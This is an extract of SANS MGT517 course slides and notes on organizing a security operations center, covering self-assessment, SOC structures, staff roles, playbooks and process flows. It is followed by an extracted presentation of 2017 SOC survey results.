SOC. In the absence of this function, it is advisable to architect the capability in the SOC. MGT517 | Managing Security OperationsSelf-Assessment Components •Configuration Monitoring •Vulnerability Assessment •Pen Testing •Exercises •Objective: ongoing assessment of attack surface of information systems and organization capability to resist and recover when incidents occur 22 As with Forensics, there are various subcategories of self-assessment. We’ll discuss each of these separately since they have specific details associated with them. The objective of self-assessment is to reflect on the state of the information and information systems the organization owns and is responsible for. This reflection critically assesses the ideal state of the environment and the differences between current and ideal state. It is like Lacanian algebra, where there’s always some object petit a ; except, in our infrastructure, the self-assessed deficiencies are typically attainable. We often need to overcome political and operational barriers to resolve. The general intention of this capability is to understand the state of the information systems within the organization. MGT517 | Managing Security OperationsConfiguration Monitoring Components •CM is the practice of approving change and detecting variation from approved baselines and configurations •Change Control •File Integrity Monitoring / Application Whitelisting •Baseline and standard approved configurations •Deviation authorization and tracking •Continuous Monitoring •Objective: monitor settings and change from specified baseline of settings 23 Configuration Monitoring is an important function. It entails deciding upon the authorized configuration settings within the information systems and looks for variation from this authorized state. This can help inform network security monitoring. This helps to assure the systems are operating at the expected level of risk. The process of approving changes is called change control. This involves submitting proposed changes (patches, new systems, updated configuration) to a board for approval and updating the known state to match the approved new state. File integrity monitoring applies cryptographic hashing to a file and attempts to detect changes. Application whitelisting is an extension of this principle that applies a list of authorized executables to the operating system and no other executables are permitted to run. Developing baselines is a substantial effort, but is rewarded with an easier to manage environment where individual systems are consistent. This also assures that systems will not be behind on patches when newly deployed. Configurations conforming to standards also help with effective operations. With any attempt to standardize, there needs to be flexibility to account for needed variation for new or unique systems. If a deviation is granted, it should be recorded as a deviation and automated systems scanning for variation shouldn’t flag on that variation. MGT517 | Managing Security OperationsVulnerability Assessment Components •Vulnerability Assessment is testing systems for issues, such as missing patches or misconfiguration and directing remediation •Typically performed using a vulnerability scanner •Software with inventory of known patches and flaws, and methods for checking if they’re missing •Objective: identify attack surface of systems: vulnerability to known flaws and weak configurations 24 Vulnerability assessments are most commonly associated with Vulnerability Scanners: software designed to check systems for deficient patches, default passwords, and weak configurations. This is an important ongoing program to assure that your systems are hardened. Frequently, vulnerability assessments are cataloging the deficiencies of information systems and there is no follow up on the remediation of those systems. Part of your vulnerability assessment must be to get the problems rectified. This should be something that we are excellent at by now, but seem to continue to struggle with the basic task of patching. I’ll recommend a solution for all those systems that system owners state they “can’t patch.” Tell then you have a solution for unpatchable systems. It’s called “Application Whitelisting.” The system is studied, a list of sanctioned executables is developed, and restrictions are implemented to only allow sanctioned executables. It takes work, but it is a mitigation for the “can’t patch” system. MGT517 | Managing Security OperationsPenetration Testing Components •Pen Testing goes beyond vulnerability scans to model how an adversary would compromise a system and what is at risk •Time intensive, expertise required •Objective: determine risk of an information system by demonstrating impact of compromise and model adversary attack methods against a system 25 Penetration testing is behaving like an attacker to gain an understanding of the risk of operating an information system. This is time intensive and requires expertise to do well. Typically, the scope of penetration tests is somewhat limited to have value. But, the adversary has few limits during attacks. If production systems aren’t pen tested, or can’t be pen tested, at least perform pen tests on new systems during development and prior to production. Vulnerability scanning isn’t pen testing. I repeat. Vulnerability scanning isn’t penetration testing. Pen tests attempt to leverage flaws. Vulnerability scans simply identify the potential presence of a flaw. A nice analogy for comparing vulnerability scans and pen tests: a vulnerability scan would determine that a door to a supply closet was left ajar. A penetration test would have someone go in to the closet through that door, look at the supplies present, select a few of the most valuable ones, then attempt to leave the building with them. The pen test might also tape over the lock to be able to come back to get the rest of the supplies, or even marshal resources within the staff to help move the supplies out of the closet to the pen tester’s truck at the loading dock. MGT517 | Managing Security OperationsExercises Components •Exercises model plausible scenarios, challenging staff to follow procedures and adapt new ones. They reinforce good practices and fix bad behavior. •Very valuable, but often neglected •The culture of “too busy” frequently prevents exercises •Objective: assess staff readiness, capability to follow defined procedures and improvise in the face of unanticipated issues 26 Developing exercises assesses the process, procedures, and people involved in security operations. We will discuss developing exercises in detail during the incident response section of the class. Effective use of exercises helps to refine the procedures, enhance communication, enhance awareness, and train staff on actions to perform. A lot of organizations think about exercises on an annual basis. I would prefer to think about exercises on a daily basis. This is like going to the gym. If you do this on a regular basis, your strength and capability improve substantially. MGT517 | Managing Security OperationsStructure of SOC Components •Pool of people (typically small group) •Everyone on one team, share responsibility, rotate rolls or matrix based on skillset and capability •Attacker Phase Mirroring •Organized groups as counter to attacker behaviors •Functional Group •What is mostly presumed for the MGT517 class material: primarily a pedagogical choice for clarityFunctions Arrangement Options 27 In a smaller group, it might not make sense to specialize. So, a few people do all of the functions that will be discussed in a matrix, a cycle, or some other work sharing strategy: scrum, agile, kanban, etc. It doesn’t (yet) matter the details of how this group of people will share the work, that will come in the operate phase. The design choice is that they will not have strict functional roles: they will share the responsibilities of the SOC functions. In the phase mirroring structure the group has functional capability in counterpoint to the perceived attack phases. The Lockheed Martin kill chain (discussed on day 3) or the MITRE cyber attack lifecycle (https://www.mitre.org/capabilities/cybersecurity/threat-based-defense ) is used as a basis for describing the steps an attacker generally takes. These are grouped, and a defensive group is formed to counter each of the phases of the attacker phases. This targets defense to the attacker’s offense. In MGT517, the functional areas as discussed as if they are organizational structural components of the SOC. Your exact structure might be different, but this is the most straightforward way to teach the concepts and discuss the various facets that go in to the design, build, and operations of a SOC. The rigor is for clarity and for clear delineation of responsibility. An organization doesn’t necessarily need to deploy exactly this functional group structure. MGT517 | Managing Security OperationsMulti-SOC Models Layers of SOC Follow-the-sun 28•Three or more physical locations across the globe to give 24x7 coverage •Dublin (UTC) , Seattle (UTC -8), Singapore (UTC +8) for example •Legal concerns of data privacy laws and data portability, and political stability of the country •Transitions between teams and consistency among capabilities and methodology is a challenge •We’ll talk more about culture tomorrow, but having the exact same procedures for teams in New York, Mumbai, and Tokyo will likely result in sub optimal performance, account for regional difference •Select which functions need follow the sun. NSM and Command Center are likely candidates, as is IR Follow-the-sun is a model that takes advantage of available workforce across the globe. It’s 5 o'clock somewhere. The first step is to identify at least three suitable locations where there is a workforce that has the appropriate skill set to perform security operations. The US, Europe, and Asia are typical locations due to roughly 8-hour offsets between the time zones. This provides for a relatively easy time scheduling performance of responsibilities. You’ll need physical work space in those locations, an appropriate business license, and will need to address the regional legal variations and privacy laws. Selecting a suitable locale is not easy. Long-term political stability is an issue, as is the probability of changes in laws that might make the physical location problematic to continue to operate. In 2016, for example, the United Kingdom voted to exit the European Union. This substantial political realignment (commonly referred to as Brexit) has cast a degree of uncertainty for employees, employers, and businesses. At the time of writing of this version of MGT517, this uncertainty is unresolved. When we delve into the detailed process data flow diagrams, you’ll need to add this additional transition capability into the workflow. Some functional areas will be outsourced to accomplish 24x7 coverage; the partner you select to accomplish this will likely have some variation of this model of 24x7x365 availability. MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 29 Multi-SOC Models MGT517 | Managing Security OperationsMulti-SOC Models Models •Since many organizations do not have just one SOC, we’ll explore several models of coordination among SOCs within the organization •Federated •Hierarchical •Delegated 30 The SOC may be a single SOC, or it may exist in multiple formulations. The following slides offer a graphical depiction of how the SOCs will interoperate. Your arrangement will likely be an amalgam of these elements. These are presented as characteristics of methods of organizing MGT517 | Managing Security OperationsMulti-SOC Models Layers of SOC Core Business CoordinationFederated Business Unit 1Command Center NSM TI IR Forensic Self-Assessment Federated Business Unit 2Command Center NSM TI IR Forensic Self-Assessment Newly Acquired Business UnitCommand Center NSM TI IR Forensic Self-AssessmentModel 1 – Federated Model 31 Each business area operates its own SOC. They operate in parallel, with duplicate functionality. Funding for the SOC is typically derived from within the Business Unit. There is likely some coordination body at the highest level; however, that body has no technical capability and little to no information to share with the other SOC components. Information sharing is encouraged, but not mandated. Information sharing is often done by agreement between each entity with its sharing partner. It is most likely that not all information is shared. Filtration and redaction are likely regarding internal assets. External threat information is likely shared. MGT517 | Managing Security OperationsMulti-SOC Models Layers of SOC Model 2 – Hierarchy – All SOCs Have Full Capability Tier 3Tier 2Tier 1 (Highest)SOC 1 – Global SOC 2 – Country 1 SOC 3 – State 1SOC 4 – State 2SOC 5 – Country 2 SOC 6 – State ASOC 7 – State B 32 There is a hierarchy of SOCs with operational, directive control over SOCs in an inferior relationship in the hierarchy. Duplicate functionality in each SOC, but typically less funding in inferior SOCs, which greater expertise and funding at the higher level SOCs. Lower level SOCs provide localization support to have resources near the specific systems. This is appropriate for large organizations, and funding arrangements typically govern the relationship, where the funding all originates from a single source and is distributed among the capabilities. Reporting of incidents, and all produced artifacts up through the hierarchy is the typical scenario of information sharing, and the higher tiers aggregate then disseminate information back down the hierarchy. Higher levels will broadcast information to all lower levels. Peers often share information within the same tier for expedience, but the official channel is often up the hierarchy, then back down the hierarchy. An example is the majority of the United States Government, with US-CERT having the highest level (Global) position among the SOC, and each US Federal Agency operating at Tier 2. -CERT: (from https://www.us-cert.gov/about-us) Our Story In early 2000, Federal Government networks began to experience an alarming number of cyber breaches. In response, Congress created the Federal Computer Incident Response Center (FedCIRC) at the General Services Administration as a centralized hub of coordination and information sharing between federal organizations. With the creation of the Department of Homeland Security in 2002, Congress transferred these responsibilities to the new Department. In 2003, FedCIRC was renamed “US-CERT,” and its mission was expanded to include providing boundary protection for the federal civilian executive domain and cybersecurity leadership. This shared responsibility has evolved over time to make US-CERT a trusted partner and authoritative source in cyberspace for the Federal Government; SLTT governments; private industry; and international organizations. MGT517 | Managing Security OperationsMulti-SOC Models Layers of SOC Model 3 – Delegated Function – Only Needed Specialty is Delegated Tier 3 –Functional CapabilityTier 3Tier 2 –Functional CapabilityTier 2Tier 1 –Functional CapabilityTier 1 (Highest)SOC 1 – Global Command CenterNSM Forensics Threat IntelManaged SOCs SOC 2 - Country 1 Incident ResponseSelf AssessmentSOC 3 - Country 2 Incident ResponseSelf AssessmentSOC 4 – Country 3 Incident ResponseSelf AssessmentManaged SOCs SOC 7 – State 3A Incident Response 33 The delegated function model is when multiple tiers exist, but the capabilities are not replicated across tiers. Portions of the SOC are in different management control but are hierarchically lower related to other SOC components. Lower tiers inherit all the functionality from higher tiers, and leverage that function. Lower tiers justify the duplication based on some localization need that cannot be provided at the higher level and provide funding for those local functions. I use the analogy of Global, Country, State to express the tiers of hierarchy in familiar terms. Information is shared in a bi-directional fashion. Agreements for coordination are usually established formally. MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 34 Where to Place the SOC in the Organization Structure MGT517 | Managing Security OperationsOrganization Staff Required COOGeneral Counsel SOCCFO CIO CISO GovernanceCIOO Network Operations System OperationsSOC Position: General Council – Legal Investigations The SOCwill land somewhere in the organization hierarchy. First, omitting a complex federated organization, the most logical position for the SOC is for it to report to the Chief Information Security Office (CISO) who in turn reports to the Chief Information Officer. The CIO also has a direct report of Chief Information Operations Officer (CIOO) who is responsible for development and operations of systems. Small organizations would have no CISO or CIOO. Large organizations would have a more complex structure, although I don’t think that the more complex structure enhances mission focus. I think that an extensive management structure takes funding away from analytical roles. A culture of self-identification and self- evaluation, as well as peer evaluation, is one where good analysts thrive. Excessive bureaucracy thwarts excellent analysis. MGT517 | Managing Security OperationsOrganization Staff Required COO CFO SOCCIO CISO GovernanceCIOO Network Operations System OperationsSOC Position: Financial Officer – Loss Prevention MGT517 | Managing Security OperationsOrganization Staff Required COOGeneral CounselCFO CIO CISO Governance Risk ManagementCIOO Network Operations System OperationsCSO SOCPhysical SecuritySOC Position: Security Officer – Security as Primary MGT517 | Managing Security OperationsOrganization Staff Required General CounselCFO CISO GovernanceRisk Manageme ntCOO (CTO) SOCNetwork OperationsSystem OperationsCSO Physical SecuritySOC Position: Operations MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 39 Staff Roles MGT517 | Managing Security OperationsSOC / Command Center The Program •Customer Service •Answering calls, triaging requests, performing basic analysis •Analysts •Detailed assessment of information received •Public Relations •External facing and Internal •ManagersPeople 40 In the Command Center, there are individuals responsible for interacting with external (to Command Center) parties. These individuals may also be analysts. The analyst performs the assessment of data and monitors ongoing incidents. An individual (perhaps staff filling another role, perhaps dedicated) is responsible for representing the Command Center in communication to external parties and the organization. A Manager oversees the interaction between the staff members, cultivates intra-team relationships and represents the Command Center to the rest of the SOC and the organization. Since this is potentially a 24x7 operation, there may be shifts in the various roles, including the manager. MGT517 | Managing Security OperationsNetwork Security Monitoring (NSM) The Program •Network Analysts •NIDS / HIDS / CND Analysts •Internal System Administrators for SOC tools •Network Engineers •Security Architects •Rule Writers (NIDS, HIDS, Yara, Memory Analysis) •Manager, possibly shift managersPeople 41 Analysts for investigation of data are core components of NSM. In addition, specialists in networking, security architecture, and administrators to manage the NSM systems are needed. There is a need to produce updated rules for the NIDS (and other alerting tools) and the analysts or a specific role will perform this rule creation. These rules should be tailored to the environment and specific threats observed within the environment. The data for the rules comes from the monitored systems, the threat intelligence team, or external information sources. There is a manager (or managers) who oversees the operation of this functional capability. If the function operates 24x7x365, there will be shift leads or managers to be the POC and responsible person. MGT517 | Managing Security OperationsThreat Intelligence The Program •Intelligence analysts –use data to form intel •Counter-intelligence analysts (uncommon) •As we develop an understanding of our adversary, we want to understand what they know about us •System designers and administrators –build, secure, maintain internal systems used for intel •Manager –potentially shift managersPeople 42 Analysts within the TI team assess the information available to them. Further, counter-intelligence analysts develop an understanding of what our adversary knows about use and our TI capability. System designers and administrators develop, deploy and maintain tools tosupport a TI capability, and a Manager oversees the activities. MGT517 | Managing Security OperationsIncident Response The Program •Analysts •Adaptable experts understanding systems and networks •Managers •Often tasked with bridging response actions with business component, since IR is frequently disruptive •Masters of communication, situational awareness, and adaptabilityPeople 43 The IR team is comprised of analysts who are capable of responding to most situations. These analysts typical have a substantial breadth of experience of both host and network assets. These analysts frequently are veterans of other operational aspects and become responders after having the experience and realizing they like it. Managers of the IR team interface with the SOC functions and direct response action while facilitating team coordination. They also facilitate decision making with the affected system owners and guide the response efforts to be most disruptive to the adversary and least disruptive to ongoing operations. MGT517 | Managing Security OperationsForensics The Program •Specialists within the appropriate area of forensics who are both capable and trustworthy •The insider threat is one aspect of trustworthiness, as is the concern over integrity and objectivity in the work •Managers •Possibly for each specialization •Shift managers as appropriate to operational tempoPeople 44 Analysts capable of executing the specific discipline identified: Host, Network, Reverse Engineering, and eDiscovery. An analyst may have duties across all of these, or be specialized in one of the specific disciplines. Where appropriate, the analyst can provide insight to other teams (IR, TI, NSM) to assist with enhancing SOC capability. The insider threat aspect is an important one to consider here. Imagine if the people responsible for providing detailed analysis were purposefully misleading the organization or suppressing information to further an adversary’s agenda. More likely, your analysts are negligent through being overworked, under trained, and forced down the avenue of subpar analysis through organizational culture. We’ll discuss this caveat and what to do about it on day 3. MGT517 | Managing Security OperationsSelf-Assessment The Program •Analysts •Configuration / Baseline •Pen-testing •Scanning •Project Managers •ManagersPeople 45 Analysts with the capability to perform the aforementioned testing are needed. Typically, a project manager supports the efforts of the self-assessment teams to maximize the value of the capability. Area managers oversee each area of responsibility. The ability to launch a vulnerability scan, or looking at the output from tripwire, or knowing what Microsoft’s desired state configuration power shell module (https://msdn.microsoft.com/en-us/powershell/dsc/overview) does isn’t sufficient to qualify as an analyst. The distinction of an analyst is not earned by running the tool but by translating the data to real business impact and providing guidance on selecting the best alternative between remediation choices. MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 46 Process, Procedures, Playbooks MGT517 | Managing Security OperationsThe Only Constant Is Change Maturity •SOC processes should be designed to adapt to the inevitable changes it will face •Following the procedure is the right thing to do, so long as the procedures are always updated •Demonstrate SOCs capability to utilize its capability and resources everywhere possible to aid the business: federated central logging, for exampleAgility and Adaptability The SOCs environment of uncertainty and changing threat environment leads to a desire for agility. The definition of agility is change with minimal effort and minimal stress. This agility leads to the capacity for adaptability. Adaptability is the ongoing effort to work better in response to a varying environment. The SOC should embody agility and adaptability. Both imply maintaining integrity of SOC systems, as well as persistently enduring the adversity of the changing threat landscape. MGT517 | Managing Security OperationsPlaybook Maturity •Playbooks provide operational guidance on •Preferred methodology •Objective state •Available resources and opportunities for assistance •Requirements for escalation •Authority to perform tasks, and boundaries of authority •Should include checklists and quick reference materialGuidelines for the Professional A common strategy for defining procedures is the playbook. Rather than provide a specific step-by-step instruction set of tasks to perform, a playbook shows the staff what they need to do without being proscriptive. The playbook defines: the boundaries of authority, caveats for individual systems, past success strategies, past failures encountered, and guidance for assuring success. MGT517 | Managing Security OperationsStandard Operating Procedures Maturity •SOPs should be used in cases where rigor is needed to avoid errors •SOPs are useful for lower skilled, high turn over positions, but high-skill workers are often benefited by SOPs and checklists (despite their occasional protests to the contrary)Exact Steps to be Performed There are a large number of studies by the American Medical Association (eg. http://jamanetwork.com/journals/jamasurgery/fullarticle/2484543 ) that cite the implementation of checklists improves survival rate from surgeries. Other studies indicate that avoidable errors are reduced through checklists. Airline pilots, for example, have a standard operating procedure pre-flight checklist to avoid errors. Differentiating when an SOP is needed and when a playbook is appropriate is the art of management. For some teams proscriptive step-by-step instructions are required. For more mature teams, the step-by-step guides are often perceived as constraining yet prove incredibly valuable in avoiding errors. MGT517 | Managing Security OperationsSOC / Command Center Process The Program Command and ControlIncident ResponseNetwork Security Monitoring Forensics Threat IntelligenceSelf-Assessment Security Operations CenterUsers Help Desk E-mail Reports Problem Reports Law EnforcementThird-Party NotificationOverall Process Request Additional Info Containment Actions Request Threat Info Identify IssuesGather Evidence PublicStatus Reports News Releases Recordings Outreach AwarenessReport Illegal Activity Seek AdviceManagement The overall process components of the Command Center are to receive requests and provide direction to the functional areas of the SOC to protect the organization. MGT517 | Managing Security OperationsNetwork Security Monitoring (NSM) The Program Data SharingCommand and Control Incident ResponseNetwork Security MonitoringForensicsThreat IntelligenceUser reports External notification Threat environmentDetection / Deconfliction Incident declaration Impact analysisIncident information Info on data from seized systems Analysis reports Updated IOCs Impact analysisSituational awareness Updated internal signatures Suspicious items to monitor Validated indicators Updated IOCsDetailed information Analysis requestsCorrelation requests Data mining requests Historical trend analysisContainment requests Validation, identification, correlation requestsUpdated IOCs Impact analysisAnalysis reports Updated IOCs NSM function must provide information to the other functions to help them perform their function. If, for example, the NSM team determines there is a compromised system, NSM will tell the Incident Response (IR) team what system is affected, and provide specifications for the IR team to be able to understand what the issue is, and what initial steps should be taken. NSM will provide indicators to the threat intelligence team, with information on the source of the indicators, to help the threat intel team develop a catalog of known actors targeting the organization. NSM additionally will provide suspicious, but not known to be malicious, items to the threat intelligence team for long-term study. NSM will provide data to IR to perform containment as well as request additional information. While some decisions will go through Command Center to direct IR tasks, establishing direct NSM to IR action requests and information transfer facilitates faster performance. The Command Center is aware of all requests for activity. NSM receives information from TI, Forensics, IR, and Self-Assessment to have updated indicators as well as a better understanding of the information systems to defend. MGT517 | Managing Security OperationsThreat Intelligence The Program Open Source Resources Internal Information SourcesAttribution Info Threat IntelligenceCollect open source info Collect internal adversary infoRetain adversary characteristics Internal threat actor attribution & characteristics Correlate events to threat actors Overall Process Looking at internal data is a very valuable exertion of threat intelligence resources. Learning from adversary activities helps to thwart that adversary’s future attempts at compromise and data theft. How? By understanding what the adversary has done in the past, so even weak systems can have mitigating controls designed to frustrate efforts of compromise. The best threat intelligence is how an adversary has succeeded or come close to succeeding in your environment. It provides opportunities for you to re-architect, add detection, or add mitigation capability. Another opportunity is to establish new resources for actual use, and leave adversary affected resources in place as a harbinger of that adversaries return. MGT517 | Managing Security OperationsIncident Response The Program Overall Process Incident ResponseNetwork Security Monitoring Forensics Threat IntelligenceSelf-AssessmentCommand and ControlSecurity Operations Center Business Units ManagementSteering CommitteeCoordination with BUs & Management IR works with other SOC functions to: -Obtain support and analysis -Provide status and reportingExternal Systems Internal SystemsIsolate and contain assets: -Logically -Physically Eradicate issuesReturn to service This page intentionally left blank. MGT517 | Managing Security OperationsForensics The Program Overall Process Internal SystemsForensics Host, Network, RENetwork Forensics Log, event info, and PCAP acquisitionHost Forensics Memory & disk acquisitionCommand and ControlManagement Analyze asset Maintain chain of custody Ensure asset integrity Full PCAP Log ServerNetwork Network & Related ArtifactsProvide info related to case Reverse Engineering Device, software, or code acquisition Host-based forensics entails the acquisition of volatile information, specifically memory, as well as non-volatile data, almost always in the form of the hard drive storage from the system. Work is performed on a copy of the acquired content. It is necessary to have capability in place to either remotely or locally acquire the memory and hard drive or drive storage in the case of logical presentation of drives such as Storage Area Networks (SANs) or Network Attached Storage (NASs). It is more efficient to be able to perform full memory collection remotely, but it is not always feasible since this entails installation of client agents and usually involves expensive software. Distributed memory analysis (rather than full memory collection) is now commonly deployed. Upon collection of assets, a chain of custody should be initiated. If this is the logical acquisition of a hard drive image, this would involve making a hash of the drive, and recording who performed the acquisition. In cases where the hard drive is pulled from the computer, this would involve the user signing for transfer of the hard drive to the service technician or the forensic analyst. The point is to be able to substantiate that the asset was protected from modification once it was acquired. This is not always used but should be a matter of standard operating procedure in all cases. Analysis of assets is the majority of the work in the forensic field. This involves substantial work, background knowledge, and the correlation between events. We won’t delve into the details of the forensic process here. But typically forensic analysis is performed with a specific investigation scope in mind. Instead of investigating everything that ever happened on the host, there are relevant questions to answer. Examples include, “Was the host infected with malware?” Or, “Did the user attempt and successfully move data from the host to a USB device?” MGT517 | Managing Security OperationsSelf-Assessment The Program Internal SystemsSelf-AssessmentConfiguration Monitoring -Create baselines -Identify configuration changes -Maintain systems External Systems Management responsibilities -Approve changes -Manage exceptions -Track remediation effortsVulnerability Assessment -Identify risk & exposure -Scan systems for known vulns -Identify new vulns Penetration Testing -Model attacker scenarios -Exploit systems -Reconnaissance, org intelligence -Deconfliction Exercises -Tabletop scenarios -Model threats and events -Train and assess staff -DR / BCPManagement This page intentionally left blank. MGT517 | Managing Security OperationsProcess Details Data Flow •A lot of detail •Download https://bit.ly/crow-socSwim lane Data Flow Diagram (DFD) This page intentionally left blank. MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 57 Summary MGT517 | Managing Security OperationsFor More Information References •This is the model from SANS MGT517: Managing Security Operations: Detection, Response, and Intelligence •You may have a large group of people in compartmentalized roles according to these functions, or a small number of people with flexibility responsibilities to cover all the functions 58 MGT517 | Managing Security OperationsAdditional Reading References •MITRE –10 Strategies of World-Class CSOC •David Nathans -Designing and Building a SOC •SANS –SOC Summit Archive •RSA –Building a Security Operations Center (SOC) •Cisco Press –Security Operations Center: Building, Operating, and Maintaining your SOC •Verizon Data Breach Investigation Report (DBIR) •FireEye M-Trends 59 This class draws upon the author’s experience as well as information available online and in print. A few selected online items that you are strongly encouraged to review are below. MITRE’s – Ten Strategies of a World-Class Cybersecurity Operations Center: https://www.mitre.org/sites/default/files/publications/pr-13-1028-mitre-10-strategies-cyber-ops-center.pdf David Nathans –Designing and Building a Security Operations Center: https://www.amazon.com/Designing-Building-Security-Operations-Center/dp/0128008997 SANS – 2015 Security Operations Center Summit archive: https://files.sans.org/summit/SOC_Summit_2015/ Zip of all presentations: http://files.sans.org/summit/SOC_Summit_2015/SOC_Summit_2015.zip RSA – Building a Security Operations Center (SOC): http://www.rsaconference.com/writable/presentations/file_upload/tech-203.pdf Cisco Press- Security Operations Center: Building, Operating, and Maintaining your SOC http://www.ciscopress.com/store/security-operations-center-building-operating-and-maintaining- 9780134052014 Verizon DBIR: http://www.verizonenterprise.com/verizon-insights-lab/dbir/ MGT517 | Managing Security OperationsDownloads & Contact Information First Principles https://bit.ly/crow-soc @CCrowMontance chris@montance.com 60 MGT517 | Managing Security Operations --- ## Source: https://montance.com/questions.php?id=109 [![pptx](content/images/icons/pptx.svg) APAC SOC Summit Survey.pptx](https://drive.google.com/file/d/1ifa_5oCtSKh9Uh0cyVu6lRNA9iXmUEka/view?usp=drive_link) APAC SOC Summit Survey Presentation covering Survey titled 'APAC SOC Summit Survey'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1ifa_5oCtSKh9Uh0cyVu6lRNA9iXmUEka/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1ifa_5oCtSKh9Uh0cyVu6lRNA9iXmUEka/view?usp=drive_link]** SANS 2017 SOC Survey “A Mile of Numbers and a Ton of Stats” Christopher Crowley twitter: @ CCrowMontance All Rights Reserved All Wrongs Reversed Two Other Webcasts There are two earlier webcasts covering some parts of the survey Links to those, and the slides for this presentation are at https://bit.ly/crow -soc Additional info in this webcast not in those Survey was sponsored by: Carbon Black, Endgame, LogRhythm , NETSCOUT, ThreatConnect , and Tripwire SOC - Functional Areas Steering Committee Control Center Network Security Monitoring Threat Intelligence Incident Response Forensics Self Assessment SOC - Process Elements Inputs People Technology Process Artifacts Caveat Auditor – Survey, not Statistics Population size of SOCs globally is not known Sample size determination not performed Data set example: 38 Respondents from Banking and Finance 11 Respondents from Retail Nonetheless, 298 respondents shared their info, so we’ll dig into what we have Caveat Auditor The respondents self -identified as being in a particular sector I’m going to discuss this, but it is not intended to be a statistically significant representation of that sector as a whole, just the people who responded to this survey I’d love to get to the point that we reach data saturation. Saturation can be simply defined as data satisfaction. It is when the researcher reaches a point where no new information is obtained from further data. Demographics Most of the respondents were from US based companies 54% listed headquarters in US 21% European headquarters Worldwide operations cited Cyber & banking were top industries Typical SANS survey respondents are from government & finance 0.0% 5.0% 10.0% 15.0%Cyber securityBanking and financeTechnologyGovernmentOtherManufacturingInsuranceTelecommunication…HealthcareEducationUtilitiesRetailMediaTransportationHospitalityWhat is your organization's primary industry? Primarily Centralized Architecture 0 50 100 150 200Centralized into a single SOC centerFunctions in different departmentsCentralized and distributed regionallySingle cloud provider - some functionsPartial SOCs in regional locationsFull SOCs distributed regionallySome functions multiple cloud providersSingle cloud provider - all functionsMultiple cloud providers - all functionsOther •Most commonly reported SOC size is •5 people or less for businesses under 10,000 people •25 people or less for businesses less than 100,000 •Surprisingly, most businesses reported having few vacancies •Sometimes hard to gauge “size” of an organization we can use •Staff count •Nodes on network •Sales, revenue, value, etc. 9 Staffing 100%1%2%3%4%5%6%7%8% Fewer than 100 100–250 251–1,000 1,001 –2,000 2,001 –5,000 5,001 –10,000 10,001 –15,000 15,001 –50,000 50,001 –100,000 More than 100,000Organization Size Versus Positions Authorized < 1 (part time) 1 2–5 6–10 11–25 26–100 101–1,000 ˃1,000 Staffing •91% — NIDS/NIPS listed as most frequent preventive capability •66% — Application whitelisting, a validated prevention strategy* 11 0% 20% 40% 60% 80% 100%OtherDeception technologiesApplication whitelistingMalware detonation device (inline malware destruction)Data loss preventionWeb application firewall (WAF)Next-generation firewall (NGFW)Malware protection system (MPS)DoS and DDoS detection and mitigationWeb proxyContinuous vulnerability assessment or monitoringAsset discovery and inventoryThreat intelligenceEndpoint monitoring and loggingSIEM (security information and event manager)Penetration testingVulnerability remediationAccess protection and control/VPN/NetNetwork traffic monitoringLog managementNetwork intrusion detection system (IDS)/Intrusion…Preventive Capabilities as a Service, Internal, and Both Service Both Internal Preparedness and Capabilities •Australian Signal Directorate, Strategies to Mitigate Cyber Security Incidents: App whitelisting is essential •Effective SOCs augment correlate -alert type tools with hunting strategies •Turns out same hunting techniques and detection capability puts us on the path to deploy app whitelisting 12 Integration of Prevention, Detection, and Response •22% —We don’t have a NOC •21% —Only work together in emergency •20% —NOC and SOC coordinate •12% —NOC and SOC federate data 139.1% 22.0% 12.3% 21.4%20.4%12.0%2.9%There is no relationship. We don’t have a NOC. Our SOC and NOC teams have very little direct communication. Our SOC and NOC teams only work together when there are emergencies. Our NOC team is an integral part of our detection and response, although our SOC and NOC activities are not technically integrated. Our NOC team and SOC team are kept well- informed through integrative dashboards with shared information, APIs and workflow, where needed. Other SOC Relationship with IT Ops Outsourced Components •44% —Threat research •38% —Digital forensics •35% —Security monitoring and detection •33% —eDiscovery and legal evidence collection 0 50 100 150OtherSecurity roadmap and…Security architecture and…Security administrationCompliance supportRemediationIncident responseeDiscovery and legal…Security monitoring and…Digital ForensicsThreat research Out Both Further Comparison With available survey data, I drilled into some sector -specific (Q2) aspects of the survey results relating to Q10: What activities are you handling in -house? What activities have you outsourced, either totally or in part, to outside services through a managed security service provider (MSSP) or in the cloud? Check only those that apply to your organization Outsourcing Threat Intelligence n=249 If outsourced, two types: Likely both Cyber, banking, tech Outsource only Gov, Insurance, Utilities Thoughts on Threat Intelligence I think it can be useful. But first: Does org have routine IR handling in the SOC? The counterpoint is: what does the org do differently if “ Country Cyberforce X” is attacking me versus “ Financial Actor B ” versus “Amorphous Social Faction 7 ”? Can the org differentiate the threat actor early enough to make a difference? Outsourcing Digital Forensics n=248 Overall percentage outsourced is 38% (see slide 7) Raw count is interesting, but next slide has more about the likelihood of an industry to outsource Forensics Outsourcing by Sector n=248 Retail (10%), Government (15%) & Cyber Security (24%), Education (33%) unlikely to outsource partially or wholly Outsourced (all or partial) / count responses Thoughts on Digital Forensics First, on nomenclature, I differentiate Forensics from analysis performed during Incident Response: The Forensic task is a deep dive assessment of materials to answer specific questions. IR forensics analysis is initial, triage based, and partial analysis due to limited time and scope . Forensics is focused, exhaustive (within the scope of the question) and produces authoritative analysis . You’re welcome to disagree with my usage, but that’s how I’m using these words currently Interesting that Retail shows less likelihood to outsource forensics than Cyber companies (experts) and Government (more on Retail on next slides) Education – I suspect this is simply a cost issue Insurance, Utilities, Technology, Media, Manufacturing – I am surprised how many keep it insourced Thoughts on Digital Forensics Digression on Retail Retail shows less likelihood to outsource forensics than Cyber companies (experts) and Government Most likely a low sample size issue with not having a representative population What those respondents outsource? Turns out, not much (next slide) Most commonly outsourced is “Security Monitoring and Detection” Retail: Little Outsourcing 0 2 4 6 8 10 12Digital ForensicseDiscovery and legal evidence collectionSecurity roadmap and planningSecurity administrationSecurity architecture and engineeringCompliance supportIncident responseRemediationThreat researchSecurity monitoring and detection In Out Both Sort: sum( out+both ), out, both, in Monitoring and Detection n=264 